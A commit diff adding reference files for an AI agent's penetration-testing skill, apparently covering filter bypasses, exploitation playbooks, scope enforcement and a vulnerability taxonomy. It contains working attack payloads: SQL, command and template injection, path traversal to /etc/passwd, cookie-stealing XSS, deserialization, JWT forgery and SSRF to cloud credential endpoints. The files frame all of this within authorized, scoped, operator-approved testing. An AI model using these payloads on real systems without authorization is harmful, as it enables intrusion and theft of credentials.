Hermes-agent

This commit is contained in:
Zakaria
2026-06-14 14:30:48 -04:00
commit dac4b88b94
5058 changed files with 1884848 additions and 0 deletions
@@ -0,0 +1,133 @@
# Bypass Techniques
Common filter/WAF bypasses. Used during the bypass-exhaustion phase
before classifying a finding as false positive.
A finding may only be marked `false_positive` AFTER the relevant
bypass set has been exhausted and the witnesses still fail.
## SQL Injection Bypasses
When `'` is filtered/escaped:
- Numeric injection: drop the quote, use `1 OR 1=1`
- Different quote: `"` instead of `'`
- Comment-based: `1/**/OR/**/1=1`
- Hex literal: `0x61646d696e` for `admin`
- `CHAR(65,66)` for `AB`
- Case variation: `OoRr` (often stripped to `OR`)
- Inline comments: `O/**/R`
- Null byte: `' %00 OR '1`=`1`
- Double URL encoding: `%2527` for `'`
- Multi-byte: `%bf%27` (works against some single-byte unescape)
## Command Injection Bypasses
When semicolons filtered:
- Newline: `%0Asleep 5`
- Carriage return: `%0Dsleep 5`
- Pipe: `|sleep 5`, `||sleep 5`
- Background: `&sleep 5`, `&&sleep 5`
- Substitution: `$(sleep 5)`, `` `sleep 5` ``
- Globbing: `/???/?l??p 5` for `/bin/sleep 5`
- IFS for spaces: `sleep${IFS}5`, `sleep$IFS$95`
- Quote evasion: `s""leep 5`, `s'l'eep 5`
- Variable: `a=sl;b=eep;${a}${b} 5`
- Encoding: `bash<<<$(base64 -d <<< c2xlZXAgNQo=)`
## Path Traversal Bypasses
When `../` filtered:
- URL-encoded: `%2e%2e%2f`
- Double URL-encoded: `%252e%252e%252f`
- Unicode: `%c0%ae%c0%ae%c0%af`, `%uff0e%uff0e%u2215`
- Mixed: `..%2f`, `%2e./`
- Null byte (older platforms): `../../../etc/passwd%00.png`
- Backslash on Windows: `..\..\..\windows\win.ini`
- Absolute path: `/etc/passwd` (skips traversal entirely)
When base dir is prepended (`/var/www/uploads/${v}`):
- The traversal still works if `realpath` not enforced
- Try ending the path early: `../../etc/passwd%00`
## XSS Bypasses
When `<script>` blocked:
- `<img src=x onerror=...>`
- `<svg/onload=...>`
- `<iframe srcdoc="...">`
- `<details ontoggle=...>` (HTML5)
- `<video><source onerror=...>`
- `<input autofocus onfocus=...>`
When parens filtered:
- Template literals: `onerror=alert\`1\``
- `onerror=eval('alert(1)')``onerror=eval(name)` + set
`window.name` from attacker page
When event handlers stripped:
- `<a href="javascript:alert(1)">` (often still works)
- `<form action="javascript:alert(1)"><input type=submit>`
- SVG: `<svg><animate attributeName=href values=javascript:alert(1) ...>`
When `alert` filtered:
- `confirm(1)`, `prompt(1)`, `print()`
- `top.alert(1)`, `self['ale'+'rt'](1)`
- `window['ale\u0072t'](1)` (unicode in property access)
- `Function("alert(1)")()`
CSP bypasses (require CSP misconfig):
- `unsafe-inline` allows everything
- `unsafe-eval` allows `eval`/`Function`
- Wildcard sources (`*.googleapis.com`) — angular/jsonp gadgets
- `'strict-dynamic'` without nonce/hash on inline → still blocked but
external scripts allowed via trusted loader
- Old CSP without `default-src`/`script-src` → only blocks listed
## Authentication Bypasses
- HTTP verb tampering: `GET /admin` blocked → try `POST`, `PUT`, `OPTIONS`
- Path normalization: `/admin/` blocked → try `/admin`, `/admin/.`,
`/admin/x/..`, `//admin`, `/%2e/admin`, `/Admin` (case)
- Header injection: `X-Original-URL: /admin`, `X-Forwarded-For: 127.0.0.1`,
`X-Real-IP: 127.0.0.1`, `X-Forwarded-Proto: https`
- Trailing chars: `/admin#`, `/admin?`, `/admin/`, `/admin.json`,
`/admin..;/`, `/admin/..;/`
- Method confusion via `X-HTTP-Method-Override: GET`
## SSRF Bypasses
When `127.0.0.1` blocked:
- IPv6 loopback: `[::1]`, `[0:0:0:0:0:0:0:1]`
- Decimal IP: `2130706433` for `127.0.0.1`
- Hex IP: `0x7f000001`
- Octal: `0177.0.0.1`
- Short form: `127.1`, `0.0.0.0`, `0`
- DNS rebinding: control a DNS server, return `127.0.0.1` on second
resolution (TTL=0)
- DNS records that resolve to internal IPs: `localtest.me` (127.0.0.1)
- URL parsing differentials: `http://allowed-host@127.0.0.1`,
`http://127.0.0.1#@allowed-host`
- IDN homograph: `http://1001` (fullwidth dots)
When schemes blocked:
- `gopher://`, `dict://`, `file://`, `ftp://`
- `data:` (for content-type bypass)
- `jar:` (Java)
## Rate Limit Bypasses
- Header rotation: `X-Forwarded-For`, `X-Real-IP`, `X-Originating-IP`,
`X-Client-IP`, `X-Cluster-Client-IP`, `Forwarded`
- Case: `X-FORWARDED-FOR`
- User-Agent variation
- Different endpoint that hits same handler
## Bypass Discipline
For each bypass attempt:
1. Note WHAT you tried and WHY it might work (in your evidence log)
2. Capture the response
3. If still blocked, move to the next item in the bypass set
4. Only after the documented bypass set is exhausted do you write
`verdict: false_positive` with reason "bypass set exhausted; defense
appears effective for this slot type."
@@ -0,0 +1,204 @@
# Exploitation Techniques
Per-class playbooks. Use these as starting points for witness payloads.
ALWAYS apply scope enforcement before sending anything from this file.
## Injection
### SQL Injection
Witness sequence (UNION-blind safe):
1. Baseline: capture response for original parameter
2. `' AND 1=1--` (true branch)
3. `' AND 1=2--` (false branch)
4. Compare lengths/bodies. Difference = SQLi.
Time-based:
- MySQL: `' AND SLEEP(5)--`
- Postgres: `'; SELECT pg_sleep(5)--`
- MSSQL: `'; WAITFOR DELAY '0:0:5'--`
- SQLite: `' AND randomblob(100000000)--` (CPU-burn alternative)
DO NOT send: `'; DROP TABLE` payloads. Reproducing the bug doesn't
require destruction.
### Command Injection
Witness:
- Linux: `; sleep 5` or `$(sleep 5)` or `` `sleep 5` ``
- Windows: `& timeout /t 5`
- If output is reflected: `; echo HERMESPENTEST-$(id)`
Blind: time-delay probe is universally safe. Don't `rm -rf`.
### Path Traversal
Witness: `../../../../etc/passwd` (Linux) or `..\..\..\..\windows\win.ini` (Windows).
Try with: URL-encoded, double-encoded, Unicode (`%c0%ae%c0%ae`),
and SMB UNC (`\\evil-host\share` — only with operator OK).
### SSTI (Server-Side Template Injection)
Witness:
- Jinja2: `{{7*7}}``49`
- Twig: `{{7*7}}``49`
- Smarty: `{$smarty.version}` or `{php}echo 1;{/php}`
- ERB: `<%= 7*7 %>``49`
- Velocity: `#set($x=7*7)$x`
Detection is the 49 (or template-specific equivalent). Don't go to RCE
without operator OK.
### Deserialization
If you can identify the format:
- Pickle: send `cos\nsystem\n(S'sleep 5'\ntR.` (base64'd, in the
right context). Witness via time delay.
- YAML: `!!python/object/apply:os.system ["sleep 5"]`
- Java serialized: ysoserial gadgets, only with operator OK because
these almost always RCE.
## XSS
### Reflected
Witness: `<svg/onload=fetch("/HERMES-PENTEST-XSS-"+document.cookie)>`
where the path is one you'll grep for in server logs. NEVER use
`alert(1)` — pop-ups annoy real users if your "test" target has any.
If reflected unencoded → L3 confirmed.
### Stored
Witness in a way that ONLY YOUR test account sees first. Use a unique
marker per finding. If the marker fires for other users → L4 critical.
Pattern: `<svg/onload=fetch("/HERMES-${runId}-${vulnId}")>`. Add a
server-side log grep step to your evidence.
### DOM XSS
Inspect every `document.write`, `innerHTML`, `eval`, `setTimeout(string)`,
`Function(string)`, `setAttribute("href", ...)` site. The taint source
is usually `location.hash`, `location.search`, `localStorage`,
`postMessage` data, URL fragments.
Witness: navigate to `#<img src=x onerror=...>`. Confirm the
sink fires.
## Auth
### Login Bypass
- SQLi in login: `' OR '1'='1` (very old, but check)
- Boolean defaults: `username: admin, password: admin/password/123456`
(only on lab targets, not production)
- Account enumeration: timing or response difference between
"unknown user" vs "wrong password"
- Rate limiting: send 50 wrong passwords in 30s; see if you're throttled
### JWT Attacks
1. **alg:none**: change header to `{"alg":"none","typ":"JWT"}`, strip
signature. If accepted → critical.
2. **alg confusion**: HS256 signed with the RS256 public key. If the
server stores the RS256 cert as a "secret" and the algorithm is
attacker-controlled, this works.
3. **Weak HMAC secret**: try `jwt_tool` or `hashcat` against the JWT
with rockyou.txt (only if you have operator OK to crack).
4. **kid header injection**: `kid` set to a SQLi payload or path-traversal
to load a known key.
5. **Expired token still accepted**: replay an old token.
### Session
- Cookie attrs: `Secure`, `HttpOnly`, `SameSite=Strict|Lax`.
- Session fixation: log in, note cookie, log out, log in again — same
cookie? Vulnerable.
- Logout: does logout invalidate server-side, or just clear the client?
### Password Reset
- Predictable token (timestamp, sequential, weak random)
- Host header poisoning in reset link (`Host: evil.test`)
- No rate limit on reset endpoint
- Token reuse / no expiry
- Email enumeration via reset response
## Authz (Access Control)
### IDOR
Pattern: change `?id=123` to `?id=124`. If you see another user's data,
L3 confirmed.
Variants:
- Sequential IDs (easy)
- UUIDs (still try — they leak in logs/responses)
- Mass assignment: send extra params like `is_admin: true`, `role: admin`
- HTTP method override: `GET /users/123` works, but `PUT /users/123` is
not authz-checked
### Privilege Escalation
Vertical: regular user → admin endpoint. Check:
- `/admin/*` accessible to non-admin?
- `role` field in JWT/session client-editable?
- Tenant ID swap: `tenant_id=mine``tenant_id=theirs`
Horizontal: user A → user B same role. Reuse IDOR patterns.
### Business Logic
- Negative quantity in cart
- Race conditions (double-spend, atomicity)
- Workflow skip (POST to step 3 without doing step 2)
- Coupon stacking
- Discount > total
## SSRF
Witnesses for SSRF probing (only to hosts the operator approved):
- Operator-owned callback (`https://hermes-callback.example/abcdef`)
— confirms the request left the target's network
- Internal recon (operator OK + scope): `http://127.0.0.1:6379/`,
`http://127.0.0.1:9200/`, `http://[::1]:80/`
Cloud metadata (operator OK + your own infra):
- AWS: `http://169.254.169.254/latest/meta-data/iam/security-credentials/`
- GCP: `http://metadata.google.internal/computeMetadata/v1/` (needs
`Metadata-Flavor: Google`)
- Azure: `http://169.254.169.254/metadata/identity/oauth2/token`
- Alibaba/Aliyun: `http://100.100.100.200/`
Protocol smuggling:
- `gopher://` for Redis/Memcache/SMTP attacks (only with operator OK)
- `file:///` for local file read
- `dict://` for service probing
## Infra
- Headers audit: missing `Strict-Transport-Security`, `Content-Security-Policy`,
`X-Content-Type-Options: nosniff`, `X-Frame-Options`/`frame-ancestors`,
`Referrer-Policy`
- TLS audit: weak ciphers, missing HSTS, mixed content
- Information disclosure: `Server:`, `X-Powered-By:`, error stack traces,
default landing pages (`/server-status`, `/.git/`, `/.env`, `/phpinfo.php`)
- Default creds: only on lab targets
- Open redirects: `?next=https://evil.example/` — confirms misuse for
phishing chains
## Defense Recognition (don't waste cycles)
Skip past these — they're working defenses, not vulns:
- Parameterized queries via the language's standard binding
- Content Security Policy with no `unsafe-inline`/`unsafe-eval` and
a strict source list
- argv-list subprocess invocation (Python `subprocess.run([...])`
without `shell=True`)
- `yaml.safe_load`, JSON-only deserialization
- Allowlist-based redirects to a small set of known hosts
- Auth checks with explicit "owner == current_user" on every record fetch
- JWT verification with both `alg` allowlist and `iss`/`aud`/`exp` checks
@@ -0,0 +1,110 @@
# Scope Enforcement
The pentest skill is dangerous because Hermes can drive network tools
unattended. The single most important rule: **every active request must
target a host the operator authorized.** This file is the procedure.
## The Three Authorities
1. `engagement/authorization.md` — what the operator wrote down.
2. `engagement/scope.txt` — the machine-readable allowlist.
3. The current shell prompt — implicit: "I'm running as Hermes inside
the operator's box."
If any of those three disagree, you STOP and ask. Don't try to reconcile.
## scope.txt format
One target per line. Comments with `#`.
```
# Hostnames — resolved at use time
localhost
127.0.0.1
::1
staging.example.com
api-staging.example.com
# CIDR — internal labs only, requires operator OK in writing
192.168.50.0/24
10.0.5.0/24
```
Wildcards are NOT supported. If you need `*.staging.example.com`, list
each host explicitly. This is on purpose: subdomain wildcards in
authorization scope are how unauthorized testing happens.
## Host Extraction Rules
Before any active request, extract the target host from the command
or URL and confirm it's in scope.
| Surface | Where the host lives | Example |
|---------|----------------------|---------|
| `curl URL` | The URL | `curl https://staging.example.com/login` |
| `curl --resolve HOST:PORT:ADDR` | HOST | reject — resolve overrides scope |
| `nmap TARGET` | Each TARGET arg | `nmap 10.0.5.5 staging.example.com` |
| `whatweb URL` | The URL | `whatweb https://staging.example.com` |
| `browser_navigate(url)` | The URL | python-side: extract host from `url` |
| Tool-driven HTTP (sqlmap, wfuzz, gobuster) | `-u`, `-h`, target arg | depends on tool |
For URLs: `urllib.parse.urlparse(url).hostname.lower()`.
For raw IPs: keep as IP, check against CIDR entries with
`ipaddress.ip_address(host) in ipaddress.ip_network(cidr)`.
## Pre-Send Checklist
For every active request, before you press enter:
1. Did you extract the host correctly? (URL host, not Host header, not
`--resolve` aliasing.)
2. Is the host in scope.txt (exact hostname match) OR is its resolved
IP in a scope.txt CIDR?
3. If it's a redirect target you're following, did you re-check scope
on the redirect URL?
4. If it's the second hop of an SSRF probe, is the inner URL in scope?
(Usually NOT — that's the whole point. Don't auto-fire.)
5. Did the operator approve this class of payload? (Read-only recon
is auto-OK; destructive payloads need explicit OK.)
If any answer is "no" or "not sure," STOP and ask the operator.
## Things That Look In-Scope But Aren't
- **Redirects to a parent or sister host.** `staging.example.com`
`auth.example.com` is a different host. Stop, re-confirm.
- **CNAMEs.** `app.staging.example.com` may CNAME to
`prod-cluster.aws.example.com`. Resolve and check IP, not just name.
- **Cloud metadata IPs.** `169.254.169.254` is not in any sane
scope.txt. If your SSRF candidate resolves there, you're probably
testing against a real cloud host and need explicit approval before
the probe.
- **127.0.0.1 / localhost on a shared box.** If you're in a container
or shared dev box, `localhost` may be someone else's service.
Confirm with the operator that 127.0.0.1 means what they think.
- **External services the target depends on.** Stripe API, OAuth
providers, S3 buckets — even if your tests would touch them, they
are NOT in scope by default.
## When Scope Fails Open
If you can't decide whether a host is in scope:
```
DEFAULT: out of scope.
```
Stop the agent. Ask the operator. Resume only after written
confirmation. There is no penalty for asking; there is significant
penalty for testing the wrong host.
## Logging
Every active request should append to `engagement/request-log.jsonl`:
```json
{"ts": "2026-05-25T03:14:15Z", "method": "GET", "url": "https://staging.example.com/api/users", "host": "staging.example.com", "in_scope": true, "phase": "recon", "result_status": 200, "evidence_ref": "evidence/recon.md#endpoints"}
```
This is your audit trail. If anyone ever asks "why did the pentest
agent hit X?" you can answer from this log.
@@ -0,0 +1,81 @@
# Vulnerability Taxonomy
Two classification systems used during analysis. Both come from Shannon
(concepts only; rewritten here). Both exist to make the question
"is this exploitable?" mechanical instead of vibes-based.
## Injection: Slot Types
Every injection sink has a **slot type** — the lexical position the
attacker payload lands in. Each slot type has a small set of
**required defenses**. A mismatch is a vulnerability. The same defense
applied to the wrong slot is also a vulnerability.
| Slot | Example | Required defense |
|------|---------|------------------|
| `SQL-val` | `SELECT * FROM u WHERE id = :v` | Parameterized binding |
| `SQL-ident` | `SELECT * FROM ${table}` | Allowlist on identifier values |
| `SQL-keyword` | `ORDER BY ${col} ${dir}` | Allowlist on column AND direction |
| `CMD-argument` | `subprocess.run(["ls", v])` | argv list (never shell=True) |
| `CMD-shell` | `os.system("ls " + v)` | DON'T — refactor to argv list |
| `PATH-segment` | `open("/data/" + v)` | Normalize + allowlist + base-relative check |
| `URL-host` | redirect to `https://${v}/x` | Allowlist of acceptable hosts |
| `URL-fetch` | `requests.get(v)` | Allowlist + block private/metadata IPs (SSRF) |
| `TEMPLATE-string` | `Template("Hello {{ v }}")` | Autoescape ON, no user-controlled template syntax |
| `DESERIALIZE-pickle` | `pickle.loads(v)` | DON'T — use JSON / msgpack |
| `DESERIALIZE-yaml` | `yaml.load(v)` | `yaml.safe_load`, never `yaml.load` |
| `XPATH-expr` | `tree.xpath("//u[@id='" + v + "']")` | Parameterized XPath or escape |
| `LDAP-filter` | `(uid=${v})` | LDAP filter escaping |
| `REGEX-pattern` | `re.search(v, text)` | Don't take pattern from user (ReDoS too) |
| `LOG-record` | `log.info("got " + v)` | Encode CR/LF/control chars before logging |
| `EMAIL-header` | `Subject: ${v}` | Reject CR/LF |
| `HTTP-header` | `Set-Cookie: ${v}` | Reject CR/LF (response splitting) |
When you classify a finding:
1. Identify the slot type
2. Identify the actual defense in the code (if you have source)
3. If defense doesn't match the required-defense set: vulnerable
## XSS: Render Contexts
XSS exploitability depends on **where** in the HTML/JS the value lands.
Encoding for one context doesn't protect another.
| Context | Example | Required encoding |
|---------|---------|-------------------|
| `HTML_BODY` | `<div>{{ v }}</div>` | HTML entity encode `<>&"'` |
| `HTML_ATTR_QUOTED` | `<a href="{{ v }}">` | HTML attr encode |
| `HTML_ATTR_UNQUOTED` | `<a href={{ v }}>` | Almost impossible to safely encode; quote the attr |
| `URL_ATTR` (href/src) | `<a href="{{ v }}">` | Validate scheme allowlist + attr encode |
| `JAVASCRIPT_STRING` | `<script>var x = "{{ v }}";</script>` | JS string escape + ensure quote consistency |
| `JAVASCRIPT_BLOCK` | `<script>{{ v }}</script>` | DON'T — refactor; no safe encoding |
| `CSS_VALUE` | `<style>color: {{ v }};</style>` | CSS encode + allowlist scheme/format |
| `CSS_BLOCK` | `<style>{{ v }}</style>` | DON'T — refactor |
| `JSON_RESPONSE` (consumed by JS) | `JSON.parse(response)` | JSON encode + correct content-type header |
| `EVENT_HANDLER` | `<div onclick="{{ v }}">` | JS string escape *inside* HTML attr encode |
| `URL_PATH` (router-driven) | route param echoed unencoded | URL-encode + HTML-encode |
| `DOM_INNERHTML` | `el.innerHTML = v` (DOM XSS) | Use `textContent` instead, or DOMPurify |
| `DOM_DOC_WRITE` | `document.write(v)` | DON'T — refactor |
When you classify:
1. Identify the render context where user input lands
2. Identify the encoding applied
3. Mismatch = vulnerable. Even "HTML encoded" output in
`JAVASCRIPT_STRING` is exploitable (`</script><script>` evasion).
## OWASP Top 10 (2021) Mapping
For reporting:
| OWASP | Slot/context covered |
|-------|----------------------|
| A01 Broken Access Control | authz class (IDOR, vertical/horizontal) |
| A02 Cryptographic Failures | infra class (weak TLS, plaintext storage) |
| A03 Injection | injection class (all slot types except deserialize) |
| A04 Insecure Design | reported in findings narrative |
| A05 Security Misconfiguration | infra class |
| A06 Vulnerable Components | infra class (whatweb output) |
| A07 Auth Failures | auth class |
| A08 Software/Data Integrity | DESERIALIZE-* slots, also supply chain |
| A09 Logging/Monitoring | infra class (out of scope for active testing) |
| A10 SSRF | ssrf class |